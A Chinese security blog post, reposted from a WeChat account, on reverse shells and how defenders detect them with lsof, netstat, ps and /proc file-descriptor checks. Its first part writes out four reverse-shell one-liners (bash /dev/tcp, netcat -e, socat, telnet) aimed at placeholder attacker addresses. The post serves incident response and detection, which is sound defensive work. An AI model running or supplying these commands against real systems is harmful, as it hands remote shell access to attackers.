反弹shell与检测方法

admin 2022年10月10日14:45:23评论602 views字数 765阅读2分33秒阅读模式


点击蓝字 关注我们

前言


在渗透测试的时候,我们经常会用到反弹shell,去进行一个后续的利用,今天在防守的角度,去查看一下如何分析反弹shell的检测,在应急响应,分析攻击手法的时候,也会使用到。

正文


先来列举一下反弹shell的各种形式。

bash反弹shell


bash -i >& /dev/tcp/xxx.xxx.xxx.xxxx/xxx 0>&1

netcat反弹shell


netcat xx.xxx.xxx.x xxxx -e /bin/bash# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash

Socat反弹shell


socat tcp-connect:xxx.xxx.xxx.xxx:xxxx exec:'bash -li',pty,stderr,setsid,sigint,sane

telnet反弹shell


telnet xx.xxx.xxx.xxx xxxx | /bin/bash | telnet xxx.xx.xxx.xxx xxxx


关于反弹shell的方式还是有很多的,这里不列举过多。


第一种检测的方式:

通过lsof进行检测

lsof -n | grep ESTABLISHED |grep -E '0u|1u|2u'

反弹SHELL的本质就是0 1 2文件描述符的重定向,因此检测0 1 2文件描述符有没有重定向到远端地址就可以大致判断是否使用了反弹SHELL

反弹shell与检测方法



第二种检测方式:

netstat -anop  |grep ESTABLISHED

这里是查看有无bash/sh连接到远端地址

反弹shell与检测方法



第三种检测方法,直接通过ps -ef,查看有无反弹shell的常见命令。

反弹shell与检测方法


第四种检测方式,通过ls -al /proc/xxx/fd,通过查看fd,有无连接到远端地址,这里有些时候会用到pipe来执行命令,需要继续跟踪pipe.

反弹shell与检测方法



原文始发于微信公众号(Th0r安全):反弹shell与检测方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月10日14:45:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反弹shell与检测方法https://cn-sec.com/archives/1292589.html

发表评论

匿名网友 填写信息